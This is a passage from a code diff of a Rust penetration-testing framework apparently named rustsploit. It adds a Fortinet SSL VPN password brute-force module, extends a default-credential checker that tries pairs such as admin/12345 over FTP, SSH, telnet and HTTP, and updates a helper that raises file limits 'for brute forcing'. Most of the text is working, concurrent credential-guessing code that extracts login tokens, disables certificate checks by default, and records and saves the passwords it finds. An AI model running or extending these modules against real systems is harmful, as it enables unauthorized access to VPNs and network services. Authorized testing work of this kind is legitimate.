println!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
println!("{}", format!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// Entrypoint for module - parallel checks
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!();
|
||||
|
||||
let creds = vec![
|
||||
("admin", "12345"),
|
||||
("admin", "123456"),
|
||||
@@ -210,10 +233,33 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
check_http_form(&http_conf),
|
||||
);
|
||||
|
||||
ftp_res?;
|
||||
ssh_res?;
|
||||
telnet_res?;
|
||||
http_res?;
|
||||
// Collect all successful results
|
||||
let mut found_credentials = Vec::new();
|
||||
|
||||
if let Ok(Some((service, user, pass))) = ftp_res {
|
||||
found_credentials.push((service, user, pass));
|
||||
}
|
||||
if let Ok(Some((service, user, pass))) = ssh_res {
|
||||
found_credentials.push((service, user, pass));
|
||||
}
|
||||
if let Ok(Some((service, user, pass))) = telnet_res {
|
||||
found_credentials.push((service, user, pass));
|
||||
}
|
||||
if let Ok(Some((service, user, pass))) = http_res {
|
||||
found_credentials.push((service, user, pass));
|
||||
}
|
||||
|
||||
// Print summary
|
||||
if !found_credentials.is_empty() {
|
||||
println!();
|
||||
println!("{}", "=== Summary ===".bold());
|
||||
for (service, user, pass) in &found_credentials {
|
||||
println!("{}", format!(" {}: {}:{}", service.as_str(), user, pass).green());
|
||||
}
|
||||
} else {
|
||||
println!();
|
||||
println!("{}", "[-] No valid credentials found on any service.".yellow());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -1,41 +1,140 @@
|
||||
use anyhow::{Result, anyhow};
|
||||
use std::process::Command;
|
||||
use colored::*;
|
||||
use libc::{rlimit, setrlimit, getrlimit, RLIMIT_NOFILE};
|
||||
|
||||
const TARGET_FILE_LIMIT: u64 = 65535;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ System Ulimit Configuration Utility ║".cyan());
|
||||
println!("{}", "║ Raises file descriptor limits for brute forcing ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Module entry point for raising ulimit
|
||||
pub async fn run(_target: &str) -> Result<()> {
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
// Target parameter is part of standard module interface
|
||||
// For ulimit operations, target is informational only
|
||||
if !target.is_empty() {
|
||||
println!("{}", format!("[*] Target context: {}", target).dimmed());
|
||||
}
|
||||
raise_ulimit().await
|
||||
}
|
||||
|
||||
/// Raise ulimit to 65535
|
||||
async fn raise_ulimit() -> Result<()> {
|
||||
println!("[*] Attempting to raise open file limit (ulimit -n 65535)");
|
||||
|
||||
// Try to set limit using bash
|
||||
let output = Command::new("bash")
|
||||
.arg("-c")
|
||||
.arg("ulimit -n 65535")
|
||||
.output()
|
||||
.map_err(|e| anyhow!("Failed to run bash: {}", e))?;
|
||||
|
||||
if !output.status.success() {
|
||||
println!("[-] Warning: Could not change ulimit. (maybe run as root?)");
|
||||
} else {
|
||||
println!("[+] Successfully ran ulimit -n 65535.");
|
||||
/// Get current resource limits
|
||||
fn get_current_limits() -> Result<(u64, u64)> {
|
||||
let mut rlim = rlimit {
|
||||
rlim_cur: 0,
|
||||
rlim_max: 0,
|
||||
};
|
||||
|
||||
let result = unsafe { getrlimit(RLIMIT_NOFILE, &mut rlim) };
|
||||
if result != 0 {
|
||||
return Err(anyhow!("Failed to get current limits: {}", std::io::Error::last_os_error()));
|
||||
}
|
||||
|
||||
Ok((rlim.rlim_cur, rlim.rlim_max))
|
||||
}
|
||||
|
||||
// Check current limit
|
||||
let check_output = Command::new("bash")
|
||||
.arg("-c")
|
||||
.arg("ulimit -n")
|
||||
.output()
|
||||
.map_err(|e| anyhow!("Failed to check ulimit: {}", e))?;
|
||||
|
||||
if check_output.status.success() {
|
||||
let limit = String::from_utf8_lossy(&check_output.stdout);
|
||||
println!("[+] Current open file limit: {}", limit.trim());
|
||||
} else {
|
||||
println!("[-] Warning: Could not verify new ulimit.");
|
||||
/// Set resource limits directly in the current process
|
||||
fn set_file_limit(soft: u64, hard: u64) -> Result<()> {
|
||||
let rlim = rlimit {
|
||||
rlim_cur: soft,
|
||||
rlim_max: hard,
|
||||
};
|
||||
|
||||
let result = unsafe { setrlimit(RLIMIT_NOFILE, &rlim) };
|
||||
if result != 0 {
|
||||
return Err(anyhow!("Failed to set limits: {}", std::io::Error::last_os_error()));
|
||||
}
|
||||
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Raise ulimit to 65535 using setrlimit syscall (actually works for current process)
|
||||
async fn raise_ulimit() -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Get current limits
|
||||
let (current_soft, current_hard) = match get_current_limits() {
|
||||
Ok(limits) => limits,
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to get current limits: {}", e).red());
|
||||
(0, 0)
|
||||
}
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Current limits - Soft: {}, Hard: {}", current_soft, current_hard).cyan());
|
||||
|
||||
if current_soft >= TARGET_FILE_LIMIT {
|
||||
println!("{}", format!("[+] Open file limit already at {} or higher.", current_soft).green().bold());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Attempting to raise open file limit to {}", TARGET_FILE_LIMIT).cyan());
|
||||
|
||||
// Determine the target limits
|
||||
let target_hard = if current_hard >= TARGET_FILE_LIMIT {
|
||||
current_hard
|
||||
} else {
|
||||
TARGET_FILE_LIMIT
|
||||
};
|
||||
|
||||
let target_soft = TARGET_FILE_LIMIT.min(target_hard);
|
||||
|
||||
// Try to set the limit using setrlimit syscall (works for current process)
|
||||
match set_file_limit(target_soft, target_hard) {
|
||||
Ok(()) => {
|
||||
println!("{}", format!("[+] Successfully set file limit to {}", target_soft).green().bold());
|
||||
}
|
||||
Err(e) => {
|
||||
// If we can't raise hard limit, try just raising soft to current hard
|
||||
println!("{}", format!("[-] Could not set to {}: {}", TARGET_FILE_LIMIT, e).yellow());
|
||||
|
||||
if current_hard > current_soft {
|
||||
println!("{}", format!("[*] Trying to raise soft limit to hard limit ({})...", current_hard).cyan());
|
||||
match set_file_limit(current_hard, current_hard) {
|
||||
Ok(()) => {
|
||||
println!("{}", format!("[+] Raised soft limit to {}", current_hard).green());
|
||||
}
|
||||
Err(e2) => {
|
||||
println!("{}", format!("[-] Could not raise soft limit: {}", e2).red());
|
||||
println!("{}", "[!] Try running as root or adjust /etc/security/limits.conf".yellow());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
println!("{}", "[!] Hard limit is the same as soft limit.".yellow());
|
||||
println!("{}", "[!] To increase further, run as root or edit /etc/security/limits.conf".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Verify the new limits
|
||||
match get_current_limits() {
|
||||
Ok((new_soft, new_hard)) => {
|
||||
println!("{}", format!("[*] New limits - Soft: {}, Hard: {}", new_soft, new_hard).cyan());
|
||||
if new_soft >= TARGET_FILE_LIMIT {
|
||||
println!("{}", "[+] File descriptor limit successfully raised!".green().bold());
|
||||
} else if new_soft > current_soft {
|
||||
println!("{}", format!("[+] Limit raised from {} to {}", current_soft, new_soft).green());
|
||||
} else {
|
||||
println!("{}", "[-] Limit unchanged.".yellow());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Could not verify new limits: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
|
||||
// Also show shell instructions for reference
|
||||
println!();
|
||||
println!("{}", "=== Shell Instructions ===".bold());
|
||||
println!("{}", "To raise limits in your shell before running rustsploit:".dimmed());
|
||||
println!("{}", " ulimit -n 65535".white());
|
||||
println!("{}", "Or to make permanent, add to /etc/security/limits.conf:".dimmed());
|
||||
println!("{}", " * soft nofile 65535".white());
|
||||
println!("{}", " * hard nofile 65535".white());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -0,0 +1,625 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use reqwest::{ClientBuilder, redirect::Policy};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, AtomicU64, Ordering},
|
||||
time::Instant,
|
||||
};
|
||||
use tokio::{
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, Duration, timeout},
|
||||
};
|
||||
use regex::Regex;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
struct Statistics {
|
||||
total_attempts: AtomicU64,
|
||||
successful_attempts: AtomicU64,
|
||||
failed_attempts: AtomicU64,
|
||||
error_attempts: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_attempts: AtomicU64::new(0),
|
||||
successful_attempts: AtomicU64::new(0),
|
||||
failed_attempts: AtomicU64::new(0),
|
||||
error_attempts: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_attempt(&self, success: bool, error: bool) {
|
||||
self.total_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.error_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else if success {
|
||||
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
success.to_string().green(),
|
||||
failed,
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
let _ = std::io::stdout().flush();
|
||||
}
|
||||
|
||||
fn print_final(&self) {
|
||||
println!();
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("{}", "=== Statistics ===".bold());
|
||||
println!(" Total attempts: {}", total);
|
||||
println!(" Successful: {}", success.to_string().green().bold());
|
||||
println!(" Failed: {}", failed);
|
||||
println!(" Errors: {}", errors.to_string().red());
|
||||
println!(" Elapsed time: {:.2}s", elapsed);
|
||||
if elapsed > 0.0 {
|
||||
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Fortinet SSL VPN Brute Force Module ║".cyan());
|
||||
println!("{}", "║ FortiGate Web Login Credential Testing ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("Fortinet VPN Port", "443")?;
|
||||
match input.trim().parse::<u16>() {
|
||||
Ok(p) if p > 0 => break p,
|
||||
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let usernames_file_path = loop {
|
||||
let input = prompt_required("Username wordlist path")?;
|
||||
let path = Path::new(&input);
|
||||
if !path.exists() {
|
||||
println!("{}", format!("File '{}' does not exist.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
if !path.is_file() {
|
||||
println!("{}", format!("'{}' is not a regular file.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
match File::open(path) {
|
||||
Ok(_) => break input,
|
||||
Err(e) => {
|
||||
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let passwords_file_path = loop {
|
||||
let input = prompt_required("Password wordlist path")?;
|
||||
let path = Path::new(&input);
|
||||
if !path.exists() {
|
||||
println!("{}", format!("File '{}' does not exist.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
if !path.is_file() {
|
||||
println!("{}", format!("'{}' is not a regular file.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
match File::open(path) {
|
||||
Ok(_) => break input,
|
||||
Err(e) => {
|
||||
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
match input.trim().parse::<usize>() {
|
||||
Ok(n) if n > 0 && n <= 10000 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let timeout_secs: u64 = loop {
|
||||
let input = prompt_default("Connection timeout (seconds)", "10")?;
|
||||
match input.trim().parse::<u64>() {
|
||||
Ok(n) if n > 0 && n <= 300 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file name", "fortinet_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
|
||||
|
||||
let trusted_cert = prompt_optional("Trusted certificate SHA256 (optional, for certificate pinning)")?;
|
||||
let realm = prompt_optional("Authentication realm (optional)")?;
|
||||
|
||||
let base_url = build_fortinet_url(target, port)?;
|
||||
|
||||
let found_credentials = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_signal = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", base_url);
|
||||
println!("[*] Timeout: {} seconds", timeout_secs);
|
||||
|
||||
let users = load_lines(&usernames_file_path)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("[*] Loaded {} usernames", users.len());
|
||||
|
||||
let passwords = load_lines(&passwords_file_path)?;
|
||||
if passwords.is_empty() {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("[*] Loaded {} passwords", passwords.len());
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
|
||||
// Generate all credential pairs based on mode
|
||||
let credential_pairs = if combo_mode {
|
||||
let mut pairs = Vec::new();
|
||||
for user in &users {
|
||||
for pass in &passwords {
|
||||
pairs.push((user.clone(), pass.clone()));
|
||||
}
|
||||
}
|
||||
pairs
|
||||
} else {
|
||||
// Cycle through users for each password
|
||||
passwords.iter().enumerate()
|
||||
.map(|(i, pass)| {
|
||||
let user = users[i % users.len()].clone();
|
||||
(user, pass.clone())
|
||||
})
|
||||
.collect()
|
||||
};
|
||||
|
||||
println!("[*] Testing {} credential combinations", credential_pairs.len());
|
||||
println!();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop_signal.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
for (user, pass) in credential_pairs {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let base_url_clone = base_url.clone();
|
||||
let realm_clone = realm.clone();
|
||||
let trusted_cert_clone = trusted_cert.clone();
|
||||
let found_credentials_clone = Arc::clone(&found_credentials);
|
||||
let stop_signal_clone = Arc::clone(&stop_signal);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
let _permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_fortinet_login(
|
||||
&base_url_clone,
|
||||
&user,
|
||||
&pass,
|
||||
&realm_clone,
|
||||
&trusted_cert_clone,
|
||||
timeout_duration
|
||||
).await {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", base_url_clone, user, pass).green().bold());
|
||||
let mut found = found_credentials_clone.lock().await;
|
||||
found.push((base_url_clone.clone(), user.clone(), pass.clone()));
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_on_success_flag {
|
||||
stop_signal_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", base_url_clone, user, pass).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_attempt(false, true);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {}: error: {}", base_url_clone, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
}));
|
||||
}
|
||||
|
||||
// Wait for all tasks to complete
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
if verbose {
|
||||
println!("\r{}", format!("[!] Task join error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop_signal.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final();
|
||||
|
||||
let creds = found_credentials.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("{}", "[-] No credentials found.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (url, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", url, user, pass);
|
||||
}
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path_str);
|
||||
match File::create(&filename) {
|
||||
Ok(mut file) => {
|
||||
for (url, user, pass) in creds.iter() {
|
||||
if writeln!(file, "{} -> {}:{}", url, user, pass).is_err() {
|
||||
eprintln!("[!] Error writing to result file: {}", filename.display());
|
||||
break;
|
||||
}
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_fortinet_login(
|
||||
base_url: &str,
|
||||
username: &str,
|
||||
password: &str,
|
||||
realm: &Option<String>,
|
||||
trusted_cert: &Option<String>,
|
||||
timeout_duration: Duration
|
||||
) -> Result<bool> {
|
||||
let mut client_builder = ClientBuilder::new()
|
||||
.cookie_store(true)
|
||||
.redirect(Policy::none())
|
||||
.timeout(timeout_duration);
|
||||
|
||||
if trusted_cert.is_some() {
|
||||
client_builder = client_builder
|
||||
.danger_accept_invalid_certs(false)
|
||||
.danger_accept_invalid_hostnames(false);
|
||||
} else {
|
||||
client_builder = client_builder
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true);
|
||||
}
|
||||
|
||||
let client = client_builder
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
|
||||
|
||||
// Get login page
|
||||
let login_page_url = format!("{}/remote/login", base_url);
|
||||
|
||||
let login_page_response = match timeout(timeout_duration, client.get(&login_page_url).send()).await {
|
||||
Ok(Ok(resp)) => resp,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to get login page: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout getting login page")),
|
||||
};
|
||||
|
||||
let login_page_body = match timeout(timeout_duration, login_page_response.text()).await {
|
||||
Ok(Ok(body)) => body,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read login page: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading login page")),
|
||||
};
|
||||
|
||||
let csrf_token = extract_csrf_token(&login_page_body);
|
||||
|
||||
// Prepare login form data
|
||||
let mut form_data = std::collections::HashMap::new();
|
||||
form_data.insert("username", username.to_string());
|
||||
form_data.insert("password", password.to_string());
|
||||
form_data.insert("ajax", "1".to_string());
|
||||
|
||||
if let Some(r) = realm {
|
||||
if !r.is_empty() {
|
||||
form_data.insert("realm", r.clone());
|
||||
}
|
||||
}
|
||||
|
||||
if let Some(token) = csrf_token {
|
||||
form_data.insert("magic", token.clone());
|
||||
}
|
||||
|
||||
// Send login request
|
||||
let login_url = format!("{}/remote/logincheck", base_url);
|
||||
|
||||
let login_response = match timeout(
|
||||
timeout_duration,
|
||||
client
|
||||
.post(&login_url)
|
||||
.form(&form_data)
|
||||
.header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36")
|
||||
.header("Referer", &login_page_url)
|
||||
.send()
|
||||
).await {
|
||||
Ok(Ok(resp)) => resp,
|
||||
Ok(Err(e)) => return Err(anyhow!("Login request failed: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout during login request")),
|
||||
};
|
||||
|
||||
let status = login_response.status();
|
||||
|
||||
let location_header = login_response.headers().get("Location")
|
||||
.and_then(|h| h.to_str().ok())
|
||||
.map(|s| s.to_string());
|
||||
|
||||
let cookies: Vec<String> = login_response.cookies()
|
||||
.map(|c| c.name().to_string())
|
||||
.collect();
|
||||
|
||||
let has_auth_cookie = cookies.iter().any(|name| {
|
||||
let lower = name.to_lowercase();
|
||||
lower.contains("session") || lower.contains("svpn") || lower.contains("fortinet")
|
||||
});
|
||||
|
||||
let response_body = match timeout(timeout_duration, login_response.text()).await {
|
||||
Ok(Ok(body)) => body,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read login response: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading login response")),
|
||||
};
|
||||
|
||||
// Check for success indicators
|
||||
if response_body.contains("redir")
|
||||
|| response_body.contains("\"1\"")
|
||||
|| response_body.contains("success")
|
||||
|| response_body.contains("/remote/index")
|
||||
|| response_body.contains("portal")
|
||||
{
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
// Check for failure indicators
|
||||
if response_body.contains("error")
|
||||
|| response_body.contains("invalid")
|
||||
|| response_body.contains("failed")
|
||||
|| response_body.contains("incorrect")
|
||||
|| response_body.contains("\"0\"")
|
||||
{
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
// Check status and cookies
|
||||
if status.is_success() && has_auth_cookie {
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
// Check redirect location
|
||||
if status.as_u16() == 302 {
|
||||
if let Some(loc_str) = location_header {
|
||||
if loc_str.contains("/remote/index")
|
||||
|| loc_str.contains("portal")
|
||||
|| loc_str.contains("index")
|
||||
{
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// Extracts CSRF token from HTML response
|
||||
fn extract_csrf_token(html: &str) -> Option<String> {
|
||||
let patterns = vec![
|
||||
r#"name="magic"\s+value="([^"]+)""#,
|
||||
r#"name="csrf_token"\s+value="([^"]+)""#,
|
||||
r#""magic"\s*:\s*"([^"]+)""#,
|
||||
r#"magic=([^&\s"]+)"#,
|
||||
];
|
||||
|
||||
for pattern in patterns {
|
||||
if let Ok(re) = Regex::new(pattern) {
|
||||
if let Some(captures) = re.captures(html) {
|
||||
if let Some(token) = captures.get(1) {
|
||||
return Some(token.as_str().to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("{}", "This field is required. Please provide a value.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default_val.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_optional(msg: &str) -> Result<Option<String>> {
|
||||
print!("{}", format!("{} (optional, press Enter to skip): ", msg).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(trimmed.to_string())
|
||||
})
|
||||
}
|
||||
|
||||
/// Builds Fortinet VPN URL with proper IPv6 handling
|
||||
fn build_fortinet_url(target: &str, port: u16) -> Result<String> {
|
||||
let clean_target = target.trim_matches(|c| c == '[' || c == ']');
|
||||
let is_ipv6 = clean_target.contains(':') && !clean_target.contains('.');
|
||||
|
||||
let url = if is_ipv6 {
|
||||
format!("https://[{}]:{}", clean_target, port)
|
||||
} else {
|
||||
format!("https://{}:{}", clean_target, port)
|
||||
};
|
||||
|
||||
Ok(url)
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path.as_ref())
|
||||
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.map(|line| line.trim().to_string())
|
||||
.filter(|line| !line.is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
|
||||
let path = Path::new(input_path_str);
|
||||
let filename_component = path
|
||||
.file_name()
|
||||
.map(|os_str| os_str.to_string_lossy())
|
||||
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str));
|
||||
|
||||
let final_name = if filename_component.is_empty()
|
||||
|| filename_component == "."
|
||||
|| filename_component == ".."
|
||||
|| filename_component.contains('/')
|
||||
